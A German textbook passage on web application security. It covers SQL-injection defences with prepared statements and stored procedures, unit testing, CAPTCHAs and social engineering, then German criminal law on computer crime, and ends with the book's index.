6.9 SQL-Injection

Gegen SQL-Injections gibt es einige spezielle Methoden zur Ver-meidung. Mit parametrisierten Abfragen (Prepared Statements)sowie eventuell gespeicherten Prozeduren (Stored Procedures)sind SQL-Injections generell nicht mehr möglich.

Natürlich sollten nichtsdestotrotz sämtliche Eingaben validiertwerden. Prinzipiell kann mit einem sehr geringen Aufwand aucheine solche beliebte Schwachstelle geschlossen werden.




� SQL-Injection� Blind SQL-Injection

Prepared Statements

Bei Prepared Statements (Bound Parameter Prepared Statements –„parametergebundenene und vorbereitete Abfragen“) wird dieQuery im Vorfeld an das Datenbanksystem übertragen. Sie wirderst auf dem Server mit allen Bestandteilen (z.B. in der WHERE-Klausel) zusammengesetzt. Die einzelnen Werte werden als Pa-rameter übertragen und eingesetzt. Man spricht hier auch vonparametrisierten Abfragen. Sie werden nahezu von allen Pro-grammiersprachen und Serversystemen unterstützt.

Dabei wird die Query nicht mehr dynamisch kreiert, sondernüber den Datenbank-Provider vorbereitet und anhand der über-gebenen Parameter erstellt. Die prinzipielle Arbeitsweise ähneltder einer Stored Procedure. Auch hier müssen sämtliche Para-meter mit einem expliziten Datentyp gebunden werden. Eine zu-sätzliche, explizite Datentypüberprüfung schadet nicht, ist aller-dings bei dieser Maßnahme nicht zwingend erforderlich.

Ein Abschnitt des Quellcodes könnte nun wie folgt aussehen:

string id = escape(Parameter['id']);string dbCommand = 'SELECT [inhalt] FROM [inhalte] WHERE id=@id';

dbStatement objStatement=PrepareQuery(dbCommand);objStatement->AddParam('@id', id, string);objStatement->Execute();

108

SQL-Injection

Dabei wird zu Beginn das Statement vorbereitet und die Queryin einer allgemeinen Form mit einem Parameter aufgebaut. ImAnschluss daran werden dem entsprechenden Parameter die zuverwendende Variable und der Datentyp zugewiesen und an dasStatement gebunden. Mit der Ausführung wird das Statement anden Server übertragen. Dieser setzt es dann zusammen und führtes aus.

Stored Procedures

Sofern das jeweils verwendete Datenbanksystem gespeicherteProzeduren (Stored Procedures) und Funktionen (Functions) unter-stützt, ist es ratsam, sämtliche Queries hierüber abzuwickeln.Der Vorteil dieser Vorgehensweise liegt in der komplett anderenArbeitsweise. Hier werden die Parameter an eine Prozedur oderFunktion übergeben. In dieser selbst müssen die Datentypen derzu erwartenden Parameter festgelegt werden. Dort wird aucherst die SQL-Abfrage erzeugt und ausgeführt. Die Injektion wei-terer SQL-Befehle wird folglich verhindert.

Der Aufruf ähnelt im Grunde der Variante mit den PreparedStatements. Im Quellcode könnte der Aufruf wie folgt aussehen:

string id = escape(Parameter['id']);int returncode;string procedure = 'sp_insert_inhalt';

dbStatement objStatement = PrepareSP(procedure);objStatement->AddParam('@id', id, string);objStatement->BindParam('@return', returncode);

objStatement->Execute();



Dabei wird der Aufruf einer Stored Procedure eingeleitet undsämtliche Parameter mit einer Variable sowie einem festen Da-tentyp an diese gebunden. Das eigentliche Query wird nicht inder Anwendung erstellt, sondern durch das DBMS generiert.

Profitipp

Grundsätzlich sollte der verwendete Datenbankbenutzer einerAnwendung über möglichst wenige Rechte verfügen. Diemeisten Anwendungen benötigen schlichtweg keine Admi-nistratorrechte. Auch reicht es, wenn der Benutzer lediglichauf die Tabellen zugreifen darf, die auch wirklich benötigt wer-den.

6.10 Unit Testing

Das Unit Testing (Komponententest) ist Part eines Softwarepro-zesses und dient der Verifikation der korrekten Arbeitsweise derApplikation. Dabei werden spezielle Fälle (Testcases) definiertund von einem Test-Framework durchgeführt.

Mit speziellen Testcases lassen sich so auch im Vorhinein Sicher-heitslücken aufspüren und ausmerzen. Allerdings sollte nach je-der noch so kleinen Änderung an der Applikation das gesamteTestszenario erneut durchgeführt werden, um die Korrektheitwirklich garantieren und neue Fehler aufgrund gemachter Än-derungen ausschließen zu können.

Leider wird im Arbeitsalltag oft aus Zeitgründen darauf verzich-tet, automatische Tests zu schreiben. Bei der weiteren Entwick-lung wird es aber immer aufwändiger, nach der Implementie-rung von neuen Funktionen die gesamte Applikation zu testen.

Unit Testing sollte generell einen fester Bestandteil der Software-entwicklung darstellen und auch als solcher ernst genommenwerden.

110

CAPTCHAs


� Sämtliche Angriffsvektoren

6.11 CAPTCHAs

CAPTCHAs (Akronym für Completely Automated Public Turing testto tell Computers and Humans Apart) dienen der Unterscheidungvon Computern und Menschen. Sie werden immer dann heran-gezogen, wenn eindeutig sichergestellt werden muss, dass essich bei dem Benutzer einer Applikation um einen Menschenund nicht um einen Bot o.Ä. handelt.

CAPTCHAs sind in der Regel sogenannte Challenge-Response-Tests, bei denen der Benutzer eine Aufgabe (Challenge) lösenmuss und das Ergebnis (Response) zurückschickt. Dabei ist dieseAufgabe für einen Menschen in der Regel sehr leicht zu beant-worten. Ein Computer allerdings verzweifelt daran.

Aktuell werden meistens bildbasierte CAPTCHAs verwendet.Dabei wird in einer kleinen Grafik eine Reihe von etwas verzerr-ten Zahlen und Ziffern dargestellt oder auch komplexere Inhaltewie mathematische Aufgaben oder andere eindeutig beantwort-bare Fragen. Allerdings werden solche CAPTCHAs nicht seltenaufgrund der fehlenden Barrierefreiheit deutlich kritisiert, daSehbehinderte nicht selten vor ein für sie unlösbares Problem ge-stellt werden. In einem solchen Fall bieten sich zusätzlich akusti-sche CAPTCHAs an.

Generell lässt sich jedes Problem der künstlichen Intelligenz fürden Entwurf eines CAPTCHA verwenden.



6.12 Risikofaktor „Mensch“

Um gegen die voreilige Vertrauensseligkeit vorzugehen, mussdas Opfer selbst an sich arbeiten. Identitäten und Berechtigun-gen müssen kritisch hinterfragt und kontrolliert werden, damiteindeutig sichergestellt werden kann, dass es sich zweifellos umdie entsprechende Person handelt.

Dabei reichen oftmals bereits kleinere, spezielle Rückfragen anden Angreifer, um ihn entsprechend zu enttarnen. Auch solltedarauf geachtet werden, dass im Vorfeld auch noch so kleine In-formationen zurückgehalten werden.

In Unternehmen sollten außerdem bei Bekanntwerden eines sol-chen Vorfalls, egal ob er erfolgreich war oder missglückt ist, ent-sprechende Vorkehrungen getroffen werden, damit Kollegenund Partner gewarnt werden.


� Social Engineering

112

KAPITEL 7

Strafrechtliche Beurteilung

Das Strafrecht ist ein eigenständiger Teil des öffentlichen Rechts,das die Entstehung, den Umfang und die Durchsetzung desstaatlichen Strafanspruchs regelt. Generell lässt sich das Straf-recht in zwei Gebiete unterteilen: materielles und formelles Straf-recht.

Das materielle Strafrecht definiert die Voraussetzungen undSanktionen von Straftaten. Es ist vom Grundsatz „Keine Strafeohne Gesetz“ (Nulla poena sine lege, lateinisch) geprägt und wirdvorwiegend durch das Strafgesetzbuch (StGB)1 festgelegt.

Das formelle Strafrecht definiert die Voraussetzungen und dieArt der Durchsetzung von Sanktionen und wird durch die Straf-prozessordnung (StPO)2 festgelegt.

Der Umgang mit personenbezogenen Daten, die im Informa-tionsbereich verarbeitet werden, wird im Bundesdatenschutz-gesetz (BDSG)3 geregelt.

1. http://bundesrecht.juris.de/stgb

2. http://bundesrecht.juris.de/stpo

3. http://bundesrecht.juris.de/bdsg_1990


7 – Strafrechtliche Beurteilung

Gemäß dem fragmentarischen Charakter des Strafrechts kanneine Tat „nur bestraft werden, wenn die Strafbarkeit gesetzlichbestimmt war, bevor die Tat begangen wurde“ (Keine Strafe ohneGesetz, §1 StGB).

Die wichtigsten Tatbestände des Strafrechts in Bezug auf Infor-mationstechnologien werden im 27. Abschnitt (Sachbeschädi-gung) des StGB und im BDSG definiert:

� §202a StGB: Ausspähen von Daten� §263 StGB: Betrug� §263a StGB: Computerbetrug� §303a StGB: Datenveränderung� §303b StGB: Computersabotage� §44 BDSG: Strafvorschriften

Die wichtigsten Pflichten in Bezug auf Informationstechnologienwerden im BDSG definiert:

� §9 BDSG: Technische und organisatorische Maßnahmen� §9a BDSG: Datenschutzaudit

7.1 Strafrechtlicher Tatbestand

Gemäß § 202a StGB wird das unbefugte Beschaffen von beson-ders gesicherten Daten mit einer Freiheitsstrafe von bis zu dreiJahren oder mit einer Geldstrafe geahndet. Dabei spielt es keineRolle, mit welchem Angriffsvektor diese Daten beschafft wordensind. Fest steht aber auch, dass die unbefugte Erlangung von Da-ten erst dann unter Strafe steht, wenn der Zugang zu diesen be-sonders gesichert ist und die Tat begangen worden ist. Das be-deutet, dass ein Angreifer nur dann rechtlich belangt werdenkann, wenn diese Daten gemäß §9 BDSG technisch wie auch or-ganisatorisch abgesichert worden sind und wenn er den Angriffdurchgeführt hat. Der Versuch oder die Vorbereitung zur Erlan-gung solcher Daten allein ist noch nicht strafbar.

114

Rechte und Pflichten

Anders sieht es bei der rechtswidrigen Manipulation und Zerstö-rung von Daten gemäß §303a StGB und §303b StGB aus. Dortwird beschrieben, dass die unbefugte Zerstörung sowie die uner-laubte Manipulation von Daten bereits im Versuch strafbar sindund mit einer Freiheitsstrafe von bis zu zwei (§303a StGB) bzw.fünf (§303b StGB) Jahren oder mit einer Geldstrafe bestraft wer-den können.

Beim Social Engineering und Phishing gilt zusätzlich auch derTatbestand des Betrugs gemäß §263 StGB. Dort wird beschrieben,dass derjenige, der „in der Absicht, sich oder einem Dritten einenrechtswidrigen Vermögensvorteil zu verschaffen, das Vermögeneines anderen dadurch beschädigt, dass er durch Vorspiegelungfalscher oder durch Entstellung oder Unterdrückung wahrer Tat-sachen einen Irrtum erregt oder unterhält“ mit einer Freiheits-strafe von bis zu fünf Jahren sowie einer Geldstrafe bestraft wer-den kann.

Das deutsche Recht sieht folglich relativ harte Strafen für Verbre-chen im „virtuellen Raum“ vor, orientiert sich dabei aber am „re-ellen Raum“ und versucht demzufolge, beide Räume strafrecht-lich gleichzustellen (vgl. auch §242 StGB: Diebstahl, §249 StGB:Raub, §263 StGB: Betrug und §303 StGB: Sachbeschädigung).

7.2 Rechte und Pflichten

Getreu BDSG macht sich nicht nur derjenige strafbar, der unbe-rechtigt Daten ausspäht, manipuliert oder sabotiert, sondernauch der, der für diese Daten verantwortlich ist.

Gemäß §9 BDSG sind öffentliche wie auch nichtöffentliche Stel-len die „personenbezogene Daten erheben, verarbeiten oder nut-zen“, dazu verpflichtet, „die technischen und organisatorischenMaßnahmen zu treffen, die erforderlich sind, um die Ausfüh-rung der Vorschriften dieses Gesetzes, insbesondere die in der


7 – Strafrechtliche Beurteilung

Anlage zu diesem Gesetz genannten Anforderungen, zu gewähr-leisten“.

Allerdings sind diese Maßnahmen nur dann erforderlich, „wennihr Aufwand in einem angemessenen Verhältnis zu dem ange-strebten Schutzzweck steht“.

Strafbar ist demnach nur eine nachweisbare, fahrlässige Hand-lung. Auch steht gemäß §7 BDSG einem Betroffenen nur einSchadensersatz zu, sofern die verantwortliche Stelle die nach denUmständen des Falls gebotene Sorgfalt nicht beachtet hat. §44BDSG beschreibt außerdem, dass Verstöße gegen den Daten-schutz mit einer Freiheitsstrafe von bis zu zwei Jahren oder einerGeldstrafe je nach Härte von bis zu 250.000 Euro geahndet wer-den.

7.3 Sicherheitsmaßnahmen

Bei der Realisation von Sicherheitsmaßnahmen gibt es aktuellnoch einige rechtliche Schwierigkeiten. Zum einen werden Si-cherheitsmaßnahmen gesetzlich gefordert. Zum anderen stehenhierzu einige rechtliche Hürden in Konflikt: das Persönlichkeits-recht, das Datenschutzrecht und das Fernmeldegeheimnis.

Problematisch gestaltet sich beispielsweise die Verwendung vonFirewalls. Um Angriffe zu vermeiden oder frühzeitig erkennenzu können, muss der Datenverkehr überwacht werden. Dabeibegibt sich der entsprechende Verantwortliche rechtlich gesehenselbst auf dünnes Eis, da unvermeidlich eine Kenntnisverschaf-fung sämtlicher Vorgänge erfolgt.

Im schlechtesten Fall kann der Verantwortliche für die Wahrungvon Gesetzen selbst rechtlich belangt werden. Die aktuelleRechtslage hinsichtlich Sicherheitsmaßnahmen ist folglich nochziemlich diffus und in gewisser Hinsicht eine Grauzone, da bis-her noch keine verbindliche Rechtssprechung erfolgt ist.

116

Sicherheitsmaßnahmen

Auch soll in Zukunft das StGB hinsichtlich der Erstellung, desEinsatzes und der Verbreitung von Sicherheitstools verschärftwerden. Im sogenannten „Hacker-Paragraphen“ (§202c StGB-Entwurf4) sollen Benutzer, Verteiler und Hersteller von „Com-puterprogrammen, deren Zweck die Begehung einer solchen Tatist“ (vgl. §202a StGB), „mit Freiheitsstrafe bis zu einem Jahr odermit einer Geldstrafe bestraft“ werden.

Kritisiert wird hier vor allem die Grenze zwischen illegal undlegal. Wo der schmale Grat zwischen legaler und illegaler Hand-habung der Tools verläuft, ist nicht eindeutig ersichtlich.

Der Grundsatz „Wer sich gegen einen Angriff schützen möchte,muss wie ein Angreifer denken“ würde folglich illegal werden,da den Verantwortlichen für die IT-Sicherheit eine bisher erfolg-reiche Methode zur Bekämpfung der Computerkriminalität ge-setzlich genommen wird.

Die Bundesregierung selbst behält sich in Zukunft allerdings dasRecht vor, jederzeit in fremde Computersysteme eindringen zudürfen (vgl. Kapitel 5.16.2 – „Bundestrojaner“).

4. Entwurf eines Strafrechtsänderungsgesetzes zur Bekämpfung der Computerkrimi-nalität (http://www.bmj.bund.de/media/archive/1317.pdf).


Stichwortverzeichnis

.psc 12§ 202a StGB 114§202a StGB 114, 117§202c StGB 117§242 StGB 115§249 StGB 115§263 StGB 114, 115§263a StGB 114§303 StGB 115§303a StGB 114, 115§303b StGB 114, 115§44 BDSG 114, 116§7 BDSG 116§9 BDSG 114, 115§9a BDSG 1140-Day-Exploit 45

AAbfragen, parametrisierte 107AJAX 9, 26Angestellter 16Angreifer-Gruppen 16Angriffsfläche 33Angriffsvektor 27Angriffsvektoren 47Angriffsziele 17Anwendung, eigenständig 21Anwendung, integriert 21Application Engineering 51Applikationsschicht 23Architektur und Prinzip 21Asynchronous JavaScript and

XML 9Ausspähen von Daten 114

BBCC 64BDSG 113Befehls-Injektion 60Befehlszeilen 33, 40, 104Benutzereingaben 33Betrug 114Beweggründe 15Blind Carbon Copy 64Blind SQL-Injection 57bösartiger Programmcode 61Bot 63, 68Botnetz 19Bound Parameter Prepared

Statements 108Bruteforce 19Bruteforcing 86Buffer Overflow 83Bundesdatenschutzgesetz 113Bundestrojaner 91Bürger-CERT 46

CCAPTCHAs 111Carbon Copy 64Carriage Return 100Cast 95CC 64Chip Andrews 56cmdshell 56Command-Injection 60Common Weakness Enumera-

tion 11Completely Automated Public

Turing test to tell Computers and Humans Apart 111



Computerbetrug 114Computersabotage 114Content-Management-Systeme

(CMS) 36Cookie 33, 35, 38, 66Cookie Poisoning 79Cookie-Vergiftung 79Cracker 16Cross-Site Request Forgery 10,

68Cross-Site Scripting 10, 11, 64CSRF 68CSS 64CWE 11Cyber-Kriminalität 18

DDatei 23Datenbank 23Datenbankbenutzer 110Datenbank-Dump 41Datenbankmanagementsystem

(DBMS) 23, 53, 58Datenerhaltungs-Schicht 23Datenmanagement 103Datenmodifikation 18, 19Datenschutzaudit 114Datenspionage 18Datentyp-Konvertierung 95Datentyp-Überprüfung 95Datenveränderung 114Datenverwaltungsschicht 23Dekodierung 95Denial-Of-Service-Attacken 19Directory Traversal 71Dreischichtige Architektur 22

EEigenständige Anwendung 21Eingabe-Maskierung 96Eingaben-Filterung 97

Eingabe-Validierung 35, 94Entwicklung, fehlerfrei 29Escapen 96Ex-Angestellter 16Exhaustionsmethode 86Exploit 44Exploiting 87

FFehleingaben, gezielt 41, 52Fehlerbehandlung 41, 105Fehler-Protokollierung 105Filesharing 63Folksonomy 9Forced-Browsing 71Formular-Daten 35Forum 36Frank William Abagnale Jr. 50

GGalerie 36gespeicherten Prozeduren 107GET-Request 25, 35, 38, 54GHDB 91Google Hacking 91Graham Greene 44Größencheck 97

HHacker 16, 17heise Security 46HTTP 24HTTP-Anfrage 35HTTP-Datenfluß 26HTTP-GET 25HTTP-Header 24, 35HTTP-POST 25HTTP-Request 23, 24, 38HTTP-Request Manipulation 68HTTP-Response 23, 24HTTPS-Protokoll 102

120


Hypertext 24Hypertext Transfer Protocol 24

IIntegrierte Anwendungen 21Interpreter 21IT-Profi 16

JJanusangriff 90

KKevin Mitnick 51Kombinatorik 87Kombinatorik-Algorithmus 87Kommandozeile 54Kommunikation 24Komplexitätsrichtlinie 42Komponententest 110Konkatenation 56Konkurrent 16

LLauschangriff 90Linefeed 100Log-File-Analyse 107

MMail-Ressourcen 19Man-In-The-Middle 89Mann in der Mitte 89Mehrschichtige Architektur 22Metasploit 45Methode der rohen Gewalt 86Michael Howard 36milw0rm 46MITM 89Multi-Tier-Architecture 22

NNational Vulnerability

Database 46No Operation Instructions 85NOP-Instruktionen 85Null-Byte 100

OOpen Source Vulnerability

Database 46Open Web Application Security

Project 31OWASP 31

PParametrisierte Abfragen 107Passwörter 39, 40, 42, 105Patch 106Path-Traversal 71Penetration 30Permutation 87Permutations-Algorithmus 87Phishing 50, 73Phrack 56POST-Request 25, 35, 38, 54Präsentationsschicht 22, 23Prepared Statements 107, 108Programmfehler 29Proof of Concept 44Protokoll, zustandslos 24Provokation 30Pseudocode 12Pufferüberlauf 83

QQualifikation 29

Rrain.forest.puppy 56Rechte und Pflichten 115Regex 98



RegExp 98Regular Expressions 98Reguläre Ausdrücke 98Remote-Inclusion 73rfp 56Risikofaktor Mensch 44, 112Robot 68

SSäulenmodell 27Schwachpunkte 34Script-Kiddy 16Secunia 46SecuriTeam 46SecurityFocus 46Server-Informationspolitik 107Serverkompromittierung 18, 19Serverkonfiguration 43, 106Session 33Session Hijacking 10Session-Bindung 38Session-Fixation 76Session-Hijacking 74Sessionmanagement 38, 102Sessionverwaltung 37Shell-Zugriff 54Sicherheitsbewusstsein 105Sicherheitskritische Aspekte 27Sicherheitslücken 29, 30Sicherheitsmaßnahmen 116Sitzungsbindung 76Sitzungsentführung 74Sniffer 19Sniffing, passiv 75Social Engineering 48Social Hacking 48Social Networks 9Social Software 9Softwareentwicklung 110Spam 19

Speicher-Manipulation 83Spider 68SQL-Dump 51SQL-Injection 11, 53, 107Stack-Trace 41Stored Procedures 107, 109StPO 113Strafprozessordnung 113Strafrechtliche Beurteilung 113Strafrechtlicher Tatbestand 114Strafvorschriften 114

TTabulator 100Tagging 9Technische und organisatori-

sche Maßnahmen 114Testcase 110Thin-Client-Konzept 23Three-Tier-Architecture 22Trojaner 19, 90Typisierung 34

UÜberlauf, heapbasiert 84Überlauf, stackbasiert 84Unit Testing 110URL-Parameter 35URL-Smuggling 81URL-Spoofing 66URL-Unterschieben 81

VVerschlüsselungsalgorithmus

40Verschlüsselungsverfahren 39Verteidigungsvektoren 93Verwaltung/Steuerungs-

Schicht 23Verwundbarkeit 33Verzeichnis-Durchlauf 71

122


Viren 19Vulnerabilität, indirekt 41Vulnerabilitäten 27, 33Vulnerabilitätsdatenbanken 45

WWebcrawler 68Würmer 19

XXSRF 68XSS 64

ZZahlungsinformationen 39Zero-Day-Exploit 45Zertifikat 40Zugriffs- und Rechtemanage-

ment 36, 100Zugriffsrechtsmanagement 33


Documents

Sichere Webanwendungen GERMAN